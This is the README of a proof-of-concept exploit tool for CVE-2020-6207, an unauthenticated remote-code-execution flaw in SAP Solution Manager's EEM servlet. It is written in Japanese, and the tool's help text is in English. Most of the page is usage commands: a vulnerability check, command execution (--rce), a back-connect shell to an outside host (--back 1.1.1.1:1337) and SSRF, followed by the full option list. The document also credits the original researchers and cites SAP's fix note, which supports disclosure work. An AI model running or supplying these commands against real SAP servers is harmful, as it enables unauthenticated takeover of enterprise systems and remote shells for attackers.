chipik/sap_eem_cve-2020-6207CVE-2020-6207 の PoC (SAP Solution Manager における認証チェックの欠如)
PoC for CVE-2020-6207 (SAP Solution Managerにおける認証チェック欠落)
このスクリプトは、SAP Solution Managerに接続されたSAP SMDAgent上でRCEに繋がるSAP EEMサーブレット(tc~smd~agent~application~eem)の認証チェック欠落を確認し、悪用するためのものです。
発見者:
論文: An Unauthenticated Journey to Root :Pwning Your Company's Enterprise Software Servers
解決策: SAPノート 2890213
Twitterでフォロー: @chipik
このプロジェクトは教育目的のみで作成されており、法律違反や個人的な利益のために使用することはできません。
このプロジェクトの作者は、本プロジェクトの資料によって生じる可能性のあるいかなる損害についても責任を負いません。
脆弱性の詳細はprocessの記事をご覧ください。
SAP Solution Managerのホスト名/IPを指定するだけです。
➜ python sol-rce.py -H 172.16.30.43 -P 50000 -c
Vulnerable! [CVE-2020-6207] - http://172.16.30.43:50000
➜ python sol-rce.py -H 172.16.30.43 -P 50000 --rce calc.exe
➜ python sol-rce.py -H 172.16.30.43 -P 50000 --back 1.1.1.1:1337
➜ python sol-rce.py -H 172.16.30.43 -P 50000 --ssrf http://1.1.1.1/chpk
追加オプション:
➜ python sol-rce.py -h
usage: sol-rce.py [-h] [-H HOST] [-P PORT] [-p PROXY] [-s] [-c] [-d VICTIM]
[--ssrf SSRF] [--rce RCE] [--back BACK] [--setup SETUP]
[--list] [--clear] [-t TIMEOUT] [-v]
PoC for CVE-2020-6207, (Missing Authentication Check in SAP Solution Manager)
This script allows to check and exploit missing authentication checks in SAP EEM servlet (tc~smd~agent~application~eem) that lead to RCE on SAP SMDAgents connected to SAP Solution Manager
Original finding:
- Pablo Artuso. https://twitter.com/lmkalg
- Yvan 'iggy' G https://twitter.com/_1ggy
Paper: https://i.blackhat.com/USA-20/Wednesday/us-20-Artuso-An-Unauthenticated-Journey-To-Root-Pwning-Your-Companys-Enterprise-Software-Servers-wp.pdf
Solution: https://launchpad.support.sap.com/#/notes/2890213
twitter: https://twitter.com/_chipik
optional arguments:
-h, --help show this help message and exit
-H HOST, --host HOST SAP Solution Manager host(default: 127.0.0.1)
-P PORT, --port PORT SAP Solution Manager web port (default: tcp/50000)
-p PROXY, --proxy PROXY
Use proxy (ex: 127.0.0.1:8080)
-s, --ssl enable SSL
-c, --check just detect vulnerability
-d VICTIM, --victim VICTIM
DA serverName
--ssrf SSRF exploit SSRF. Point http address here. (example:http://1.1.1.1/chpk)
--rce RCE exploit RCE
--back BACK get backConnect from DA. (ex: 1.1.1.1:1337)
--setup SETUP setup a random serverName to the DA with the given hostName and instanceName. (example: javaup.mshome.net,SMDA97)
--list Get a list of existing DA servers
--clear stop and delete all PoCScript<rnd> scripts from DA servers
-t TIMEOUT, --timeout TIMEOUT
HTTP connection timeout in second (default: 10)
-v, --verbose verbose mode